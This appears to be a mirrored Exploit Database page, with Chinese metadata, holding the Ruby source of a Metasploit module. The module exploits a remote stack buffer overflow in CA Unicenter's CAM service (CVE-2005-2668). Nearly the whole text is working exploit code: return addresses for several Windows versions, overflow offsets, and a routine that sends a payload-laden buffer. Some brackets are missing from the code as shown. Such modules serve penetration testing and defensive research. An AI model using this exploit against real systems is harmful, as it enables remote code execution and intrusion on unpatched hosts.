CA CAM (Windows x86) – ‘log_security()’ Remote Stack Buffer Overflow (Metasploit)

Exploit Database
116 阅读

作者： Metasploit

日期： 2010-09-20
类别：
- remote
平台：
- windows_x86
来源：https://www.exploit-db.com/exploits/16825/

# $Id: cam_log_security.rb 10394 2010-09-20 08:06:27Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',

'Description'=> %q{

This module exploits a vulnerability in the CA CAM service

by passing a long parameter to the log_security() function.

The CAM service is part of TNG Unicenter. This module has

been tested on Unicenter v3.1.

'Author' => [ 'hdm' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 10394 $',

'References' =>

[

['CVE', '2005-2668'],

['OSVDB', '18916'],

['BID', '14622'],

'Privileged' => true,

'Payload'=>

{

'Space'=> 1024,

'BadChars' => "\x00",

'StackAdjustment' => -3500,

'Targets'=>

[

# W2API.DLL @ 0x01950000 - return to ESI

['W2API.DLL TNG 2.3',{ 'Platform' => 'win', 'Ret' => 0x01951107 }],

# Return to ESI in ws2help.dll

['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],

['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],

['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],

['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],

'DisclosureDate' => 'Aug 22 2005',

'DefaultTarget' => 0))

end

def check

connect

ack = sock.get_once

disconnect

(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe

end

def exploit

connect

ack = sock.get_once

if (ack != "ACK\x00")

print_status("The CAM service is not responding")

end

buf = rand_text_english(4096, payload_badchars)

# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI

buf[ 1016, 4 ] = [target.ret].pack('V')

buf[ 1052, payload.encoded.length ] = payload.encoded

sock.put("\xfa\xf9\x00\x10" + buf + "\x00")

handler

disconnect

end